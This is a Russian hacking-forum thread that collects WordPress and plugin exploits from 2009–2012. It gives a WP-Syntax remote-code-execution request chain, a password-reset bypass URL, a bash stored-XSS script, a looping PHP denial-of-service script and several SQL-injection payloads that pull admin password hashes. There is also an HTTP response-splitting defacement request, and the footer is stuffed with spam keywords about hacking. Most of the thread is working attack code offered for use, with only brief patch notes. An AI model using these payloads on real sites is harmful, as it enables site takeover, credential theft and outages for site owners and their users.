Старый 20.10.2009, 18:25   #1
DragOn
Полусинтетика
 
Аватар для DragOn
 
Регистрация: 13.04.2009
Сообщений: 1,397
DragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспорима
DragOn вне форума

По умолчанию Обзор уязвимостей WordPress


Здесь выкладываем баги,уязвимости и прочее WordPress
Начну я:
Код:
======================================================================
Wordpress plugin WP-Syntax <= 0.9.1 Remote Code Execution
======================================================================
This vulnerability was originally discovered by Raz0r on
26.12.2008, a user of forum.antichat.ru, and was kept private
until it was found out that information had leaked and
a person called Inj3ct0r published it on milw0rm
claiming himself as the author of this vulnerability. His
actions deserve no respect and thanks to str0ke a little bit
of justice is obtained. See original topic at:
https://forum.antichat.ru/showthread.php?t=98119
======================================================================
WP-Syntax has a directly accessible script that tests
capabilities of the plugin.
Vulnerable code at test/index.php@132-150:

...
function apply_filters($tag, $string)
{
    global $test_filter;

    if (!isset($test_filter[$tag])) return $string;

    uksort($test_filter[$tag], "strnatcasecmp");

    foreach ($test_filter[$tag] as $priority => $functions)
    {
        if (is_null($functions)) continue;

        foreach($functions as $function)
        {
            $string = call_user_func_array($function, array($string));
        }
    }
    return $string;
}
...

Global variable test_filter is not defined, so register_globals = on
makes it possible to pass arbitrary value into the first parameter of
call_user_func_array(). Considering the fact that this function is
called in a loop and the returned value is assinged to the second parameter
on every iteration, it is obvious that user function can be called with
a single parameter containing arbitrary data that can come from the
environment, e.g. session id. There are several valid sequences of function
calls that let execute any code.

==============================[1]=====================================
GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close

Initially session_start() is called, then the return value of session_id() that
contains command to execute passes to system().

==============================[2]=====================================
/wp-content/index.php?test_filter[wp_head][99][]=session_start&test_filter[wp_head][99][0]=session_id&test_filter[wp_head][99][1]=base64_decode&test_filter[wp_head][99][2]=assert&q=phpinfo();exit;

This vector was found by ShAnKaR and improves the previous one by using
base64-encoded payload that broadens the char range that can be passed
to the next function. Besides, assert() successfully executes arbitrary
code being called in call_user_func_array() while the usage of eval() in
this function is not possible.

======================================================================
forum.antichat.ru, raz0r.name

# milw0rm.com [2009-08-27]
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ: Обзор уязвимостей WordPress
Старый 20.10.2009, 18:26   #2
DragOn
Полусинтетика
 
Аватар для DragOn
 
Регистрация: 13.04.2009
Сообщений: 1,397
DragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспорима
DragOn вне форума
По умолчанию Ответ: Обзор уязвимостей WordPress

Код:
=============================================
- Release date: August 10th, 2009
- Discovered by: Laurent Gaffi&#233;
- Severity: Medium
=============================================

I. VULNERABILITY
-------------------------
WordPress <= 2.8.3 Remote admin reset password

II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.

III. DESCRIPTION
-------------------------
The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:

"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"

You click on the link, and then Wordpress reset your admin password, and
sends you over another email with your new credentials.

Let's see how it works:


wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;

    $key = preg_replace('/[^a-z0-9]/i', '', $key);

    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));

    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset($_GET['key']) )
    $action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);

    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }

    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();

break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.
 

IV. PROOF OF CONCEPT
-------------------------
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation.
 
V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to compromise the admin
account of any wordpress/wordpress-mu <= 2.8.3

VI. SYSTEMS AFFECTED
-------------------------
All

VII. SOLUTION
-------------------------
No patch aviable for the moment.
 
VIII. REFERENCES
-------------------------
http://www.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffi&#233; Laurent.gaffie{remove-this}(at)gmail.com
I'd like to shoot some greetz to securityreason.com for them great
research on PHP, as for this under-estimated vulnerability discovered by
Maksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38

X. REVISION HISTORY
-------------------------
August 10th, 2009: Initial release

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

# milw0rm.com [2009-08-11]
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ: Обзор уязвимостей WordPress
Старый 20.10.2009, 18:26   #3
DragOn
Полусинтетика
 
Аватар для DragOn
 
Регистрация: 13.04.2009
Сообщений: 1,397
DragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспорима
DragOn вне форума
По умолчанию Ответ: Обзор уязвимостей WordPress

Код:
#!/bin/bash

echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
	echo "$0 <url> [postID]"
	echo "f.e. $0 www.worstpress.eu"
	exit
fi

if [ "X$POSTID" = "X" ]; then
	POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ: Обзор уязвимостей WordPress
Старый 21.11.2009, 00:23   #4
DragOn
Полусинтетика
 
Аватар для DragOn
 
Регистрация: 13.04.2009
Сообщений: 1,397
DragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспоримаDragOn репутация неоспорима
DragOn вне форума
По умолчанию Ответ: Обзор уязвимостей WordPress

Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.

Открываем файл WP-trackbacks.php:
Код:
if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}
$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding

Код:
$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Эта функция преобразует $text в UTF-8. Но если мы сделаем так:
Код:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня:
Код:
    <?php
    //wordpress Resource exhaustion Exploit
    // by rooibo
    //security@wordpress.org contacted and get a response,
    //but no solution available.
    if(count($argv) < 2) {
    echo “You need to specify a url to attack\n”;
    exit;
    }

    $url = $argv[1];

    $data = parse_url($url);
    if(count($data) < 2) {
    echo “The url should have http:// in front of it, and should be complete.\n”;
    exit;
    }

    if(count($data) == 2) {
    $path = ”;
    } else {
    $path = $data['path'];
    }
    $path = trim($path,’/');
    $path .= ‘/wp-trackback.php’;
    if($path{0} != ‘/’) {
    $path = ‘/’.$path;
    }

    $b = “”;
    $b = str_pad($b,140000,’ABCEDFG’);
    $b = utf8_encode($b);
    $charset = “”;
    $charset = str_pad($charset,140000,”UTF-8,”);

    $str = ‘charset=’.urlencode($charset);
    $str .= ‘&url=www.example.com’;
    $str .= ‘&title=’.$b;
    $str .= ‘&blog_name=lol’;
    $str .= ‘&excerpt=lol’;

    $count = 0;
    while(1) {
    $fp = @fsockopen($data['host'],80);
    if(!$fp) {
    if($count > 0) {
    echo “down!!!!\n”;
    exit;
    }
    echo “unable to connect to: “.$data['host'].”\n”;
    exit;
    }

    fputs($fp, “POST $path HTTP/1.1\r\n”);
    fputs($fp, “Host: “.$data['host'].”\r\n”);
    fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
    fputs($fp, “Content-length: “.strlen($str).”\r\n”);
    fputs($fp, “Connection: close\r\n\r\n”);
    fputs($fp, $str.”\r\n\r\n”);

    echo “hit!\n”;
    $count++;
    }

    ?>
Запускаем так: php exploit.php [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]

Для патчинга открываем файл WP-trackbacks.php, ищем строку:
Код:
$charset = $_POST['charset'];
Заменяем на:
Код:
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
-
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ: Обзор уязвимостей WordPress
Старый 24.01.2011, 21:37   #5
SWW
Изгнан
 
Аватар для SWW
 
Регистрация: 23.01.2011
Сообщений: 368
SWW - весьма и весьма положительная личностьSWW - весьма и весьма положительная личность
SWW вне форума
По умолчанию Ответ: Обзор уязвимостей WordPress

SQL-inj WordPress до версии 3.0.1 (нужны права Author)

Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query.
Access Vector: Network
Attack Complexity: Medium
Authentication: Single Instance
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None


Код:
UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this 
article. 
  
The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that 
comes from the user, allowing a remote user with publish_posts and edit_published_posts 
capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any 
information stored in the WordPress database. 
  
function do_trackbacks($post_id) { 
    global $wpdb; 
   
    $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ); 
    $to_ping = get_to_ping($post_id); 
    $pinged  = get_pung($post_id); 
    if ( empty($to_ping) ) { 
        $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) ); 
        return; 
    } 
   
    if ( empty($post->post_excerpt) ) 
        $excerpt = apply_filters('the_content', $post->post_content); 
    else 
        $excerpt = apply_filters('the_excerpt', $post->post_excerpt); 
    $excerpt = str_replace(']]>', ']]>', $excerpt); 
    $excerpt = wp_html_excerpt($excerpt, 252) . '...'; 
   
    $post_title = apply_filters('the_title', $post->post_title); 
    $post_title = strip_tags($post_title); 
   
    if ( $to_ping ) { 
        foreach ( (array) $to_ping as $tb_ping ) { 
            $tb_ping = trim($tb_ping); 
            if ( !in_array($tb_ping, $pinged) ) { 
                trackback($tb_ping, $post_title, $excerpt, $post_id); 
                $pinged[] = $tb_ping; 
            } else { 
                $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) ); 
            } 
        } 
    } 
} 
  
The $tb_ping variable is passed to the query in line 1657 unescaped. 
  
Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities 
(this corresponds to the Author role). 
  
First, the user creates a new post (title/content does not matter); text to put into the ”Send Trackbacks***8221; field is: 
  
AAA’,***8221;)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’   
  
and publishes it. He needs to wait a bit ***8212; for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed: 
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'   
  
Then the user goes back and edits the post. 
  
Now the user duplicates the text in the ”Send Trackbacks***8221; field and updates the post: 
  
AAA’,***8221;)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’   
  
AAA’,***8221;)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’   
  
The get_to_ping() function says that these trackbacks are to be processed: 
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'   
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'   
  
Query logging shows that WordPress executes this query (reformatted for the sake of readbility): 
  
UPDATE wp_posts 
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'  ', '')) 
WHERE ID = 11 
  
After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), the admin information is shown in the input box. 
  
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed. 
The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch. 
  
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed. 
The examples above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.
  Ответить с цитированием
Ответ: Обзор уязвимостей WordPress
Старый 16.03.2011, 03:33   #6
sevenup
RAM 8MB
 
Аватар для sevenup
 
Регистрация: 15.03.2011
Сообщений: 9
sevenup Новичок
sevenup вне форума
По умолчанию Ответ: Обзор уязвимостей WordPress

Цитата:
Сообщение от SWW Посмотреть сообщение
SQL-inj WordPress до версии 3.0.1 (нужны права Author)

Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query.
Access Vector: Network
Attack Complexity: Medium
Authentication: Single Instance
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None


Код:
UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this 
article. 
  
The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that 
comes from the user, allowing a remote user with publish_posts and edit_published_posts 
capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any 
information stored in the WordPress database. 
  
function do_trackbacks($post_id) { 
    global $wpdb; 
   
    $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ); 
    $to_ping = get_to_ping($post_id); 
    $pinged  = get_pung($post_id); 
    if ( empty($to_ping) ) { 
        $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) ); 
        return; 
    } 
   
    if ( empty($post->post_excerpt) ) 
        $excerpt = apply_filters('the_content', $post->post_content); 
    else 
        $excerpt = apply_filters('the_excerpt', $post->post_excerpt); 
    $excerpt = str_replace(']]>', ']]>', $excerpt); 
    $excerpt = wp_html_excerpt($excerpt, 252) . '...'; 
   
    $post_title = apply_filters('the_title', $post->post_title); 
    $post_title = strip_tags($post_title); 
   
    if ( $to_ping ) { 
        foreach ( (array) $to_ping as $tb_ping ) { 
            $tb_ping = trim($tb_ping); 
            if ( !in_array($tb_ping, $pinged) ) { 
                trackback($tb_ping, $post_title, $excerpt, $post_id); 
                $pinged[] = $tb_ping; 
            } else { 
                $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) ); 
            } 
        } 
    } 
} 
  
The $tb_ping variable is passed to the query in line 1657 unescaped. 
  
Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities 
(this corresponds to the Author role). 
  
First, the user creates a new post (title/content does not matter); text to put into the ”Send Trackbacks***8221; field is: 
  
AAA’,***8221;)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’   
  
and publishes it. He needs to wait a bit ***8212; for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed: 
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'   
  
Then the user goes back and edits the post. 
  
Now the user duplicates the text in the ”Send Trackbacks***8221; field and updates the post: 
  
AAA’,***8221;)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’   
  
AAA’,***8221;)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’   
  
The get_to_ping() function says that these trackbacks are to be processed: 
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'   
  
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'   
  
Query logging shows that WordPress executes this query (reformatted for the sake of readbility): 
  
UPDATE wp_posts 
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'  ', '')) 
WHERE ID = 11 
  
After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), the admin information is shown in the input box. 
  
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed. 
The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch. 
  
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed. 
The examples above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.
Попробывал на 3 своих сайтах, везде нулевой результат (
  Ответить с цитированием
Ответ: Обзор уязвимостей WordPress
Старый 02.09.2011, 21:52   #7
Fooog
«¤†‡°°‡†¤
 
Аватар для Fooog
 
Регистрация: 27.01.2011
Сообщений: 574
Fooog как роза среди колючекFooog как роза среди колючекFooog как роза среди колючекFooog как роза среди колючек
Fooog вне форума
По умолчанию Ответ: Обзор уязвимостей WordPress

Уязвимости плагинов WordPress
_-_-_-_-_-
Плагин: SearchAutocomplete 1.0.8
Код:
http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20
Уязвимый код:
Код:
if ($_GET['term'] != '') {
...
$titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title");
_-_-_-_-_-

Плагин: Donation 1.0
Код:
http://www.site.com/wp-content/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/exporttocsv.php?did=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
Уязвимый код:
Код:
$dId = $_REQUEST["did"];
...
$campaigns = $wpdb->get_results("SELECT * FROM $table_name WHERE camp_id=$dId");
_-_-_-_-_-

Плагин: VideoWhisper Video Presentation 1.1
Код:
http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php
 s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

e.g.:
curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php
Уязвимый код:
Код:
$s=$_POST['s'];
...
$sql = "SELECT * FROM $table_name where session='$s' and status='1'";
$session = $wpdb->get_row($sql);
(с) Miroslav Stampar
__________________
Настоятельно рекомендуем при сделках использовать гарант-сервис.
  Ответить с цитированием
Ответ: Обзор уязвимостей WordPress
Старый 22.07.2012, 14:39   #8
whitehack
RAM 32MB
 
Аватар для whitehack
 
Регистрация: 09.04.2012
Сообщений: 44
whitehack Новичок
whitehack вне форума
По умолчанию Ответ: Обзор уязвимостей WordPress

Цитата:
Доступ к файловой системе в WordPress 2.x
Цитата:
Найденная уязвимость позволяет перезаписать произвольные файлы на целевой системе. Уязвимость существует из-за того, что xmlrpc.php не правильно ограничивает доступ к функциональности редактирования. Атакующий может редактировать сообщения других пользователей.
--------------------------------------------------------------------------------------------------------------------------------
Цитата:
SQL-инъекция и доступ к конфиденциальной информации в WordPress 2.x
Цитата:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения и получить доступ к конфиденциальной информации. Уязвимость существует из-за недостаточной обработки входных данных в параметре "s" сценарием index.php (когда "exact" и "sentence" установлены в значение "1"). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Успешное эксплуатирование уязвимости позволит получить хэши пароля администратора, но требует знание префикса таблицы базы данных и чтобы "DB_CHARSET" в wp-config.php был установлен в значения "GBK" или "Big5".
Цитата:
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.] 1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23
--------------------------------------------------------------------------------------------------------------------------------
Цитата:
HTTP Response Splitting в WordPress 1.2
Цитата:
Удаленный атакующий может подменить содержание уязвимой страницы и выполнить произвольный сценарий в браузере жертвы.

Эксплоит:
Цитата:
POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226

action=login&mode=profile&log=USER&pwd=PASS&text= %0d%0aConnection:%20Keep-Alive%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0a Content-Length:%2021%0d%0aContent-Type:%20text/html %0d%0a%0d%0a<html>*defaced*</html>
------------------------------------------------------------------------------------------------------------------------------
__________________
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
  Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



взломать аську аську взломать взлом программы сделать взлом программы как сделать взлом программы хакерские сайты как легко взломать аську лучшие хакерские сайты топ список хакерские сайты взлом паролей легкий взлом паролей

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd. Перевод: zCarot